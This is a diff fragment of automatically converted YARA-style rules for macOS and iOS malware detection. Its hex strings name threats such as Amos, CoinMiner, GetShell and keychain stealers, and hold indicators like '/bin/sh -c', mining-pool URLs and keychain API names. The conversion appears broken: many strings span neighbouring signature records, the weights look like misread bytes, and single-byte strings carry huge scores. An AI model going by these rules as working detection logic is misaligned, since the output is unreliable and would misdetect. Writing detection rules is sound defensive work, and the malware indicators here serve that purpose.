$a_01_73 = {00 00 49 81 c4 7e 01 00 00 00 00 8d 66 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 61 63 54 77 65 61 6b 65 72 2e 42 00 01 00 06 01 62 30 6f 75 71 3a 01 00 14 01 61 70 70 6c 69 63 61 74 69 6f 6e 57 69 6c 6c 48 69 64 65 3a 01 00 09 01 48 4e 41 4d 45 5f 31 31 39 01 00 12 01 4e 53 55 6e 64 6f 4d 61 6e 61 67 65 72 } //-31729 - $a_78_74 = {00 00 8d 66 00 00 05 00 05 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 42 75 6e 64 6c 6f 72 65 62 2e 44 21 4d 54 42 00 03 00 10 00 6d 6d 2d 69 6e 73 74 61 6c 6c 2d 6d 61 63 6f 73 01 00 10 00 69 6e 73 74 61 6c 6c 4f 66 66 65 72 73 2e 73 68 01 00 0c 00 6d 79 73 68 6f 70 63 6f 75 70 6f 6e 00 00 03 00 8d 67 00 } //29264 - $a_50_77 = {52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 43 6f 69 6e 4d 69 6e 65 72 2e 42 21 4d 54 42 00 03 00 0e 00 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 01 00 10 00 55 73 65 72 2d 61 67 65 6e 74 3a 20 4d 4e 52 32 01 00 0f } //19521 - $a_70_78 = {2f 76 31 2f 70 62 2e 70 68 70 3f 00 00 04 00 8d 67 00 00 05 00 05 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6d 63 6c 65 61 6e 65 72 2e 44 00 02 00 10 00 63 6f 6d 2e 6d 61 63 6d 61 67 69 63 69 61 6e 2e 01 00 07 00 47 50 55 70 6d 71 63 01 00 07 00 67 74 65 6d 6d } //12032 - $a_00_79 = {11 } //25459 - $a_67_80 = {61 73 20 76 78 6f 76 62 61 6d 6b 65 74 00 00 8d 68 00 00 05 00 05 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 44 69 72 65 63 74 48 57 2e 41 00 02 00 18 00 44 69 72 65 63 74 48 57 2e 6b 65 78 74 20 6e 6f 74 20 6c 6f 61 64 65 64 02 00 0f 00 44 69 72 65 63 74 48 57 53 65 72 76 69 63 65 01 00 0b 80 } //26880 - $a_72_81 = {70 61 72 65 4d 61 70 00 00 03 00 8d 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 46 6b 43 6f 64 65 63 2e 41 00 02 00 19 00 63 6f 6d 2e 6d 61 63 74 65 2e 53 61 6d 70 6c 65 49 6e 73 74 61 6c 6c 65 72 } //27393 - $a_00_82 = {2f 75 6e 69 6e 73 74 61 6c 6c 65 72 2e 70 6c 69 73 74 } //1 /uninstaller.plist - $a_00_83 = {37 39 46 44 54 41 42 4b 59 39 } //1 79FDTABKY9 - $a_00_84 = {8d 69 } //0 - $a_00_85 = {03 00 03 } //0 - $a_41_86 = {46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4d 61 63 6e 69 73 74 2e 42 00 01 00 1a 00 6d 61 63 69 6e } //8448 - $a_6c_87 = {65 72 2f 6f 73 78 44 6f 77 6e 6c 6f 61 64 65 72 01 00 10 00 41 50 50 5f 6f 66 66 65 72 56 43 5f 69 6e 69 74 01 00 0b 00 33 38 39 51 4c 46 4a 39 47 50 31 00 00 02 00 8d 69 00 00 04 00 04 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 69 4f 53 2f 58 6f 6f 6d 41 70 70 2e 41 00 01 } //29811 - $a_58_88 = {6f } //1792 o - $a_70_89 = {00 12 01 58 6f 6f 6d 44 65 76 69 63 65 49 64 48 65 61 64 65 72 01 00 12 01 58 6f 6f 6d 43 68 65 63 6b 73 75 6d 48 65 61 64 65 72 01 00 07 00 69 78 67 75 61 72 64 00 00 8d 69 00 00 09 00 09 00 06 00 21 23 48 53 54 52 3a 50 55 41 3a 4d 61 63 4f 53 2f 43 6f 69 6e 6d 69 6e 65 72 00 04 00 0a 00 62 6c 6f 63 6b 63 68 61 69 6e 04 00 08 00 61 } //16749 - $a_68_90 = {73 74 04 00 07 00 4d 61 72 63 6f 69 6e 04 00 07 00 42 69 74 63 6f 69 6e 01 00 06 00 77 61 6c 6c 65 74 01 00 08 00 63 75 72 72 65 6e 63 79 00 00 8d 6b 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 4d 61 6c 43 65 72 74 49 6f 73 2e 43 21 64 68 61 00 01 00 25 01 53 65 63 75 72 69 74 79 20 45 6e 67 69 6e 65 } //25965 - $a_6e_91 = {20 61 6e 64 20 41 72 63 68 69 74 65 63 74 75 72 65 01 00 0f 01 43 4d 53 20 54 65 73 74 20 53 69 67 6e 65 72 00 00 8d 6b 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 49 21 4d 54 42 00 01 00 26 01 41 0f b6 37 40 f6 c6 01 74 06 49 8b 7f 08 eb 04 89 f7 d1 ef 48 39 } //29285 - $a_48_92 = {c7 40 f6 c6 01 74 04 49 8b 7f 10 01 00 16 01 55 48 89 e5 48 89 f8 0f b6 0f } //29689 - $a_75_93 = {48 } //-15882 H - $a_e9_94 = {08 00 00 8d 6b 00 00 03 00 03 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 45 6c 69 73 61 4d 61 67 65 2e 41 00 01 00 12 01 47 6f 20 66 69 6c 65 73 20 69 6e 72 65 61 64 69 6e 67 01 00 1a 01 4d 41 47 45 46 49 4c 45 5f 4c 49 53 54 4d 41 47 45 46 49 4c 45 5f 48 45 4c 50 01 00 08 01 65 6c 69 73 61 73 72 65 00 00 8d 6b 00 00 07 00 07 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 69 72 63 72 61 63 6b 00 02 00 0b 00 61 69 72 63 72 61 63 6b 2d 6e 67 02 00 0c 00 6b 6f 72 65 6b 20 61 74 74 61 63 6b 02 00 0a 00 61 69 72 6f 6c 69 62 2d 6e 67 01 00 13 00 73 74 61 72 74 69 6e } //-16129 + $a_70_44 = {6f 64 2e 41 21 64 68 61 00 01 00 0e 00 31 30 39 5f 43 6f 75 6e 74 4c 69 6d 69 74 00 00 8d 44 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4d 61 63 4f 53 2f 4c 6f 63 6b 53 6d 69 74 68 2e 41 00 01 00 13 00 47 65 74 41 6c 6c 4b 65 79 63 68 61 69 6e 49 74 65 6d 73 01 00 09 00 4c 6f 63 6b 53 6d 69 74 68 00 00 8d 4a 00 00 01 00 01 00 } //30020 + $a_23_45 = {4c 46 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 50 74 72 61 63 65 41 6e 74 69 44 65 62 75 67 67 2e } //1 LF:Trojan:MacOS/PtraceAntiDebugg. + $a_00_46 = {18 } //65 + $a_80_47 = {e1 03 80 } //�� 16384 + $a_d2_49 = {00 80 d2 01 10 00 d4 00 00 8d 4a 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 53 6b 79 46 6f 72 6b 2e 45 21 64 68 61 00 01 00 0b 01 6a 31 2e 53 61 6e 64 77 6f 72 6d 01 00 0b 01 6a 32 2e 53 61 6e 64 77 6f 72 6d 00 00 8d 4d 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 45 6c 65 63 74 72 61 2e 41 00 01 } //3 + $a_77_50 = {69 } //8960 i + $a_68_51 = {61 70 20 6f 62 6a 65 63 74 20 77 69 74 68 20 4e 55 4c 4c 20 6b 6f 62 6a 65 63 74 00 00 8d 4e 00 } //25714 + $a_3a_54 = {78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 44 65 77 72 61 63 6b 2e 42 21 64 68 61 00 01 00 10 01 00 5f 70 61 79 6c 6f 61 64 5f 73 74 61 72 74 00 01 00 09 01 00 5f 6c 6f 61 64 65 72 00 00 00 8d 50 00 00 01 } //19521 + $a_41_56 = {46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 61 63 4f 53 2f 41 70 70 6c 65 50 69 65 2e 41 } //8448 F:TrojanDownloader:MacOS/ApplePie.A + $a_61_57 = {01 00 18 01 6c 69 62 72 61 72 79 2d 73 74 6f 72 65 2e 63 61 6d 64 76 72 2e 6f 72 67 00 00 8d 51 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 69 4f 53 2f 53 75 73 70 50 61 72 74 61 2e 43 21 64 68 61 00 01 00 23 01 2f 70 72 69 76 61 74 65 2f 76 61 72 2f 74 6d 70 2f 63 6f 6d 2e 61 70 70 6c 65 } //25633 + $a_6f_58 = {64 6b 69 74 00 00 8d 51 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 4d 61 63 4f 53 2f 4d 61 63 4b 65 65 70 65 72 56 65 72 73 69 6f 6e 33 00 0a 00 17 00 63 6f 6d 2e 6d 61 63 6b 65 65 70 65 72 2e 4d 61 63 4b 65 65 70 65 72 01 00 0c 00 2f 6d 61 63 6b 65 65 70 65 72 33 2f 00 00 8d 52 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 } //25390 + $a_3a_59 = {61 63 4f 53 2f 47 65 74 53 68 65 6c 6c 2e 46 00 01 00 1f 03 68 78 1f 00 00 68 90 01 02 00 00 68 90 01 02 00 00 68 90 01 02 00 00 68 90 01 02 00 00 90 00 01 00 07 00 2f 62 69 6e 2f 73 68 00 00 8d 54 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 48 53 } //21587 + $a_4d_60 = {63 4f 53 2f 47 65 74 53 68 65 6c 6c 2e 47 00 01 00 2c 02 49 83 f0 61 4c 09 c0 48 01 d8 49 bd 90 01 01 2f 62 69 6e 2f 73 68 49 bd 2f 62 69 6e 2f 73 68 00 41 55 48 89 e7 48 21 } //21076 + $a_90_61 = {00 00 8d 56 00 } //4062 + $a_52_64 = {4d 61 63 4f 53 2f 53 75 73 70 53 68 61 72 65 64 4d 6f 64 75 6c 65 46 69 6c 65 2e 42 00 01 00 07 00 5f 64 6c 6f 70 65 6e 01 00 06 00 5f 64 6c 73 79 6d 01 00 06 00 5f 63 6c 6f 73 65 01 00 07 00 5f 65 78 65 63 76 70 00 00 8d 56 00 00 03 00 03 00 04 00 21 } //21320 + $a_54_65 = {3a 4d 61 63 4f 53 2f 53 75 73 70 53 68 61 72 65 64 4d 6f 64 75 6c 65 46 69 6c 65 2e 41 00 01 00 07 00 5f 64 6c 6f 70 65 6e 01 00 06 00 5f 64 6c 73 79 6d 01 00 06 00 5f 63 6c 6f 73 65 01 00 07 00 5f 65 78 65 63 76 70 00 00 8d 5a 00 00 03 00 03 00 03 } //18467 + $a_41_66 = {46 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 50 72 6f 74 6f 6e 2e 4a 00 01 00 07 01 63 6f 6d 72 61 64 3a } //8448 + $a_01_67 = {2f 62 69 6e 2f 73 68 00 2d 63 } //1 戯湩猯h挭 + $a_01_68 = {41 8a 1f 41 32 5d 00 88 1e 48 ff c6 49 ff c7 49 ff c5 48 ff c8 75 e9 } //1 + $a_00_69 = {8d 5a } //0 + $a_00_70 = {04 00 04 00 } //0 + $a_55_71 = {3a 42 6c 6f 63 6b 3a 43 6f 69 6e 4d 69 6e 65 72 2e 4a 00 01 00 09 01 63 6f 69 6e 73 2e 63 70 70 01 00 11 01 2e 2f 73 63 72 69 70 74 2f 73 63 72 69 70 74 2e 68 01 00 08 01 77 69 70 65 5f 63 70 75 01 00 08 01 69 6e 6a 65 63 74 6f 72 00 00 8d } //8993 + $a_00_73 = {21 } //100 ! + $a_46_74 = {45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 61 63 4f 53 2f 44 6f 7a 61 44 6f 77 6e 2e 41 21 64 68 61 00 64 00 1f 01 40 0f b6 df 41 0f b6 04 16 30 d8 0f b6 c0 89 df 31 c7 01 df 84 c0 0f 95 c3 20 cb 41 88 04 16 } //16675 + $a_5d_75 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 4e 65 74 77 6f 72 6b 53 68 61 72 65 44 69 73 63 6f 76 65 72 79 2e 41 00 01 00 2c 00 44 6f 6d 61 69 6e 3a 20 00 4d 6f 6e 69 74 6f 72 69 6e 67 20 44 65 76 69 63 65 20 4d 6f 75 6e 74 73 3a 20 00 2f 56 6f 6c 75 6d 65 73 00 00 8d 60 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 53 75 73 70 41 75 74 6f 6d 61 74 65 64 43 6f 6c 6c 65 63 74 69 6f 6e 2e } //0 + $a_00_76 = {0a } //65 + $a_52_77 = {54 4f 46 45 41 52 01 00 1f 00 2f 4c 69 62 72 61 72 79 2f 46 6f 6e 74 73 2f 41 70 70 6c 65 53 44 47 6f 74 68 69 63 4e 65 6f 00 00 8d 62 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 43 56 45 2d 32 30 31 36 } //21248 + $a_35_78 = {2e 54 72 69 64 65 6e 74 00 01 00 29 01 72 65 61 64 5f 70 72 69 6d 69 74 69 76 65 28 6b 65 72 6e 65 6c 5f 62 61 73 65 29 20 3d 3d 20 30 78 66 65 65 64 66 61 63 65 } //13357 吮楲敤瑮Ā⤀爁慥彤牰浩瑩癩⡥敫湲汥扟獡⥥㴠‽砰敦摥慦散 + $a_64_79 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 69 50 68 6f 6e 65 4f 53 2f 54 68 6f 72 52 69 6e 67 2e 41 21 64 68 61 00 01 00 26 01 2f 70 72 69 76 61 74 65 2f 76 61 72 2f 74 6d 70 2f 2e 63 6f 6d 2e 61 70 70 6c 65 2e 6c 61 75 6e 63 68 64 2e 25 78 01 00 09 01 5f 5f 70 61 79 6c 6f 61 64 00 00 8d 65 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 55 6e 73 69 67 6e 65 64 4b 65 79 6c 6f 67 49 6d 70 } //0 + $a_2e_80 = {31 00 01 00 10 00 43 47 45 76 65 6e 74 54 61 70 43 72 65 61 74 65 01 00 10 00 43 47 45 76 65 6e 74 54 61 70 45 6e 61 62 6c 65 01 00 0c 00 43 46 52 75 6e 4c 6f 6f 70 52 75 6e 00 00 8d 66 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 50 55 41 3a 4d 61 63 4f 53 2f 4d 69 6e 65 72 2e 42 00 01 00 21 01 55 48 8d 0d af 8a 12 00 ba d3 03 00 00 48 8d 35 b6 8a } //29295 + $a_89_81 = {48 8d 3d af db 16 00 e8 22 36 01 00 1d 01 48 89 da 4c 89 e6 4c 89 ef e8 f6 0e 44 00 85 c0 0f 84 6e 01 00 00 49 81 c4 7e 01 00 00 00 00 8d 66 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 61 63 54 77 } //18 + $a_65_82 = {2e 42 00 01 00 06 01 62 30 6f 75 71 3a 01 00 14 01 61 70 70 6c 69 63 61 74 69 6f 6e 57 69 6c 6c 48 69 64 65 3a 01 00 09 01 48 4e 41 4d 45 5f 31 31 39 01 00 12 01 4e 53 55 6e 64 6f 4d 61 6e 61 67 65 72 50 72 6f 78 79 00 00 8d 66 00 00 05 00 05 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 42 75 6e } //24933 + $a_72_83 = {62 2e 44 21 4d 54 42 00 03 00 10 00 6d 6d 2d 69 6e 73 74 61 6c 6c 2d 6d 61 63 6f 73 01 00 10 00 69 6e 73 74 61 6c 6c 4f 66 66 65 72 73 2e 73 68 01 00 0c 00 6d 79 73 68 6f 70 63 6f 75 70 6f 6e 00 00 03 00 8d 67 00 00 05 00 05 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 43 6f 69 6e 4d 69 6e 65 72 2e 42 21 4d } //27748 + $a_75_86 = {2b 74 63 70 3a 2f 2f 01 00 10 00 55 73 65 72 2d 61 67 65 6e 74 3a 20 4d 4e 52 32 01 00 0f 00 2f 61 70 69 2f 76 31 2f 70 62 2e 70 68 70 3f 00 00 04 00 8d 67 00 00 05 00 05 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6d 63 6c 65 61 6e 65 72 2e 44 00 02 00 10 00 63 6f 6d 2e 6d 61 63 6d 61 67 69 63 69 61 6e 2e 01 00 07 00 } //24946 + $a_70_87 = {71 63 01 00 07 00 67 74 65 6d 6d 73 63 01 00 11 00 69 6b 67 78 61 73 20 76 78 6f 76 62 61 6d 6b 65 74 00 00 8d 68 00 00 05 00 05 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 44 69 72 65 63 74 48 57 2e 41 00 02 00 18 00 44 69 72 65 } //20551 + $a_57_88 = {6b 65 78 74 20 6e 6f 74 20 6c 6f 61 64 65 64 02 00 0f 00 44 69 72 65 63 74 48 57 53 65 72 76 69 63 65 01 00 0b 80 01 6b 50 72 65 70 61 72 65 4d 61 70 00 00 03 00 8d 68 00 00 14 00 14 00 02 00 21 23 54 45 4c 3a 54 72 } //29795 + $a_6e_89 = {4d 61 63 4f 53 2f 53 75 73 70 4d 61 63 46 69 6c 65 45 6d 62 65 64 64 65 64 2e 41 00 0a 00 22 00 5f 4e 53 43 72 65 61 74 65 4f 62 6a 65 63 74 46 69 6c 65 49 6d 61 67 65 46 72 6f 6d 4d 65 6d 6f 72 79 0a 00 0d 00 5f 4e 53 4c 69 6e 6b 4d 6f 64 75 6c 65 00 00 8d 69 00 00 02 00 02 00 02 00 21 23 } //27247 + $a_3a_90 = {72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 47 21 4d 54 42 00 01 00 23 01 55 48 89 e5 53 50 48 89 fb e8 c8 17 00 00 48 8b 05 e3 85 00 00 48 83 c0 10 48 89 03 48 83 c4 08 5b 5d c3 01 00 17 01 48 83 3d 38 95 00 00 00 74 } //17748 + $a_3d_91 = {95 00 00 5d e9 bf 19 00 00 00 00 8d 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 46 6b 43 6f 64 65 63 2e 41 00 02 00 19 00 63 6f 6d 2e 6d 61 63 74 65 2e 53 61 6d 70 6c 65 49 6e 73 74 61 6c 6c 65 72 01 00 12 00 2f 75 6e 69 6e 73 74 61 6c 6c 65 72 2e 70 6c 69 73 74 01 00 0a 00 37 39 46 44 54 41 42 4b 59 39 00 00 02 00 8d 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a } //18445 + $a_52_92 = {4d 61 63 4f 53 2f 4d 61 63 6e 69 73 74 2e 42 00 01 00 1a 00 6d 61 63 69 6e 73 74 61 6c 6c 65 72 2f 6f 73 78 44 6f 77 6e 6c 6f 61 64 65 72 01 00 10 00 41 50 50 5f 6f 66 66 65 72 56 43 5f 69 6e 69 74 01 00 0b 00 33 38 39 51 4c 46 4a 39 47 50 31 00 00 02 } //21320 + $a_00_93 = {00 04 00 04 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 69 4f 53 2f 58 6f 6f 6d 41 70 70 2e 41 00 01 00 07 01 58 6f 6f 6d 41 70 70 01 00 12 01 58 6f 6f 6d 44 65 76 69 63 65 49 64 48 65 61 64 65 72 01 00 12 01 58 6f 6f 6d 43 68 65 63 6b 73 75 6d 48 65 61 64 65 72 01 00 07 00 69 78 67 75 61 72 64 00 } //-29440 + $a_00_94 = {00 09 00 09 00 06 00 21 23 48 53 54 52 3a 50 55 41 3a 4d 61 63 4f 53 2f 43 6f 69 6e 6d 69 6e 65 72 00 04 00 0a 00 62 6c 6f 63 6b 63 68 61 69 6e 04 00 08 00 61 6d 65 74 68 79 73 74 04 00 07 00 4d 61 72 63 6f 69 6e 04 00 07 00 42 69 74 63 6f 69 6e 01 00 06 00 77 61 6c 6c 65 74 01 00 08 00 63 75 72 72 65 6e 63 79 00 } //-29440 condition: - ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*25439+(#a_45_2 & 1)*20047+(#a_4b_4 & 1)*20307+(#a_53_5 & 1)*17231+(#a_55_6 & 1)*8275+(#a_45_7 & 1)*20047+(#a_45_8 & 1)*21326+(#a_52_9 & 1)*18003+(#a_01_10 & 1)*21061+(#a_72_11 & 1)*29810+(#a_6f_12 & 1)*24420+(#a_6e_13 & 1)*25439+(#a_64_14 & 1)*27506+(#a_64_15 & 1)*25971+(#a_63_16 & 1)*27756+(#a_74_17 & 1)*25966+(#a_6e_18 & 1)*28515+(#a_61_19 & 1)*27756+(#a_6e_20 & 1)*26995+(#a_61_21 & 1)*25970+(#a_65_22 & 1)*26982+(#a_65_23 & 1)*26982+(#a_68_24 & 1)*28015+(#a_74_25 & 1)*25974+(#a_65_26 & 1)*29441+(#a_6f_27 & 1)*24436+(#a_6f_28 & 1)*24421+(#a_29_30 & 1)*17921+(#a_00_31 & 1)*0+(#a_41_32 & 1)*8448+(#a_5c_33 & 1)*22323+(#a_53_34 & 1)*21327+(#a_3a_35 & 1)*24938+(#a_4c_36 & 1)*8993+(#a_53_37 & 1)*25441+(#a_61_38 & 1)*25633+(#a_4f_39 & 1)*14964+(#a_3a_42 & 1)*19521+(#a_58_43 & 1)*21818+(#a_70_44 & 1)*30020+(#a_00_45 & 1)*0+(#a_3a_47 & 1)*19521+(#a_54_48 & 1)*8448+(#a_61_49 & 1)*26656+(#a_65_50 & 1)*24943+(#a_45_51 & 1)*17996+(#a_64_52 & 1)*28524+(#a_68_53 & 1)*29797+(#a_6c_54 & 1)*26707+(#a_64_55 & 1)*7+(#a_6d_57 & 1)*29548+(#a_50_59 & 1)*8448+(#a_2f_60 & 1)*273+(#a_00_61 & 1)*100+(#a_46_62 & 1)*16675+(#a_5d_63 & 1)*0+(#a_00_64 & 1)*65+(#a_52_65 & 1)*21248+(#a_00_66 & 1)*66+(#a_69_67 & 1)*29185+(#a_72_69 & 1)*10496+(#a_72_70 & 1)*24420+(#a_61_71 & 1)*11877+(#a_01_73 & 1)*-31729+(#a_78_74 & 1)*29264+(#a_50_77 & 1)*19521+(#a_70_78 & 1)*12032+(#a_00_79 & 1)*25459+(#a_67_80 & 1)*26880+(#a_72_81 & 1)*27393+(#a_00_82 & 1)*1+(#a_00_83 & 1)*1+(#a_00_84 & 1)*0+(#a_00_85 & 1)*0+(#a_41_86 & 1)*8448+(#a_6c_87 & 1)*29811+(#a_58_88 & 1)*1792+(#a_70_89 & 1)*16749+(#a_68_90 & 1)*25965+(#a_6e_91 & 1)*29285+(#a_48_92 & 1)*29689+(#a_75_93 & 1)*-15882+(#a_e9_94 & 1)*-16129) >=15 + ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*25439+(#a_45_2 & 1)*20047+(#a_4b_4 & 1)*20307+(#a_53_5 & 1)*17231+(#a_55_6 & 1)*8275+(#a_45_7 & 1)*20047+(#a_45_8 & 1)*21326+(#a_52_9 & 1)*18003+(#a_01_10 & 1)*21061+(#a_72_11 & 1)*29810+(#a_6f_12 & 1)*24420+(#a_6e_13 & 1)*25439+(#a_64_14 & 1)*27506+(#a_64_15 & 1)*25971+(#a_63_16 & 1)*27756+(#a_74_17 & 1)*25966+(#a_6e_18 & 1)*28515+(#a_61_19 & 1)*27756+(#a_6e_20 & 1)*26995+(#a_61_21 & 1)*25970+(#a_65_22 & 1)*26982+(#a_65_23 & 1)*26982+(#a_68_24 & 1)*28015+(#a_74_25 & 1)*25974+(#a_65_26 & 1)*29441+(#a_6f_27 & 1)*24436+(#a_6f_28 & 1)*24421+(#a_29_30 & 1)*17921+(#a_00_31 & 1)*0+(#a_41_32 & 1)*8448+(#a_5c_33 & 1)*22323+(#a_53_34 & 1)*21327+(#a_3a_35 & 1)*24938+(#a_4c_36 & 1)*8993+(#a_53_37 & 1)*25441+(#a_61_38 & 1)*25633+(#a_4f_39 & 1)*14964+(#a_3a_42 & 1)*19521+(#a_58_43 & 1)*21818+(#a_70_44 & 1)*30020+(#a_23_45 & 1)*1+(#a_00_46 & 1)*65+(#a_80_47 & 1)*16384+(#a_d2_49 & 1)*3+(#a_77_50 & 1)*8960+(#a_68_51 & 1)*25714+(#a_3a_54 & 1)*19521+(#a_41_56 & 1)*8448+(#a_61_57 & 1)*25633+(#a_6f_58 & 1)*25390+(#a_3a_59 & 1)*21587+(#a_4d_60 & 1)*21076+(#a_90_61 & 1)*4062+(#a_52_64 & 1)*21320+(#a_54_65 & 1)*18467+(#a_41_66 & 1)*8448+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_00_69 & 1)*0+(#a_00_70 & 1)*0+(#a_55_71 & 1)*8993+(#a_00_73 & 1)*100+(#a_46_74 & 1)*16675+(#a_5d_75 & 1)*0+(#a_00_76 & 1)*65+(#a_52_77 & 1)*21248+(#a_35_78 & 1)*13357+(#a_64_79 & 1)*0+(#a_2e_80 & 1)*29295+(#a_89_81 & 1)*18+(#a_65_82 & 1)*24933+(#a_72_83 & 1)*27748+(#a_75_86 & 1)*24946+(#a_70_87 & 1)*20551+(#a_57_88 & 1)*29795+(#a_6e_89 & 1)*27247+(#a_3a_90 & 1)*17748+(#a_3d_91 & 1)*18445+(#a_52_92 & 1)*21320+(#a_00_93 & 1)*-29440+(#a_00_94 & 1)*-29440) >=15 } -rule _InfrastructureShared_20990{ +rule _InfrastructureShared_22268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 02 00 21 " @@ -277173,7 +293566,7 @@ rule _InfrastructureShared_20990{ ((#a_4c_0 & 1)*21539+(#a_4f_1 & 1)*24909) >=1 } -rule _InfrastructureShared_20991{ +rule _InfrastructureShared_22269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -277185,7 +293578,7 @@ rule _InfrastructureShared_20991{ ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*25701+(#a_62_2 & 1)*13412) >=2 } -rule _InfrastructureShared_20992{ +rule _InfrastructureShared_22270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277195,7 +293588,7 @@ rule _InfrastructureShared_20992{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20993{ +rule _InfrastructureShared_22271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -277205,7 +293598,7 @@ rule _InfrastructureShared_20993{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20994{ +rule _InfrastructureShared_22272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 02 00 21 " @@ -277216,7 +293609,7 @@ rule _InfrastructureShared_20994{ ((#a_4c_0 & 1)*21539+(#a_3a_1 & 1)*19521) >=1 } -rule _InfrastructureShared_20995{ +rule _InfrastructureShared_22273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -277226,7 +293619,7 @@ rule _InfrastructureShared_20995{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_20996{ +rule _InfrastructureShared_22274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 02 00 21 " @@ -277237,7 +293630,7 @@ rule _InfrastructureShared_20996{ ((#a_4c_0 & 1)*21539+(#a_41_1 & 1)*20289) >=1 } -rule _InfrastructureShared_20997{ +rule _InfrastructureShared_22275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 03 00 21 " @@ -277249,7 +293642,7 @@ rule _InfrastructureShared_20997{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*24428+(#a_01_2 & 1)*1) >=2 } -rule _InfrastructureShared_20998{ +rule _InfrastructureShared_22276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -277262,7 +293655,7 @@ rule _InfrastructureShared_20998{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*28261+(#a_36_2 & 1)*18532+(#a_00_3 & 1)*11877) >=2 } -rule _InfrastructureShared_20999{ +rule _InfrastructureShared_22277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 04 00 21 " @@ -277275,7 +293668,7 @@ rule _InfrastructureShared_20999{ ((#a_4c_0 & 1)*21539+(#a_36_1 & 1)*18532+(#a_00_2 & 1)*11877+(#a_90_3 & 1)*-2) >=1 } -rule _InfrastructureShared_21000{ +rule _InfrastructureShared_22278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 03 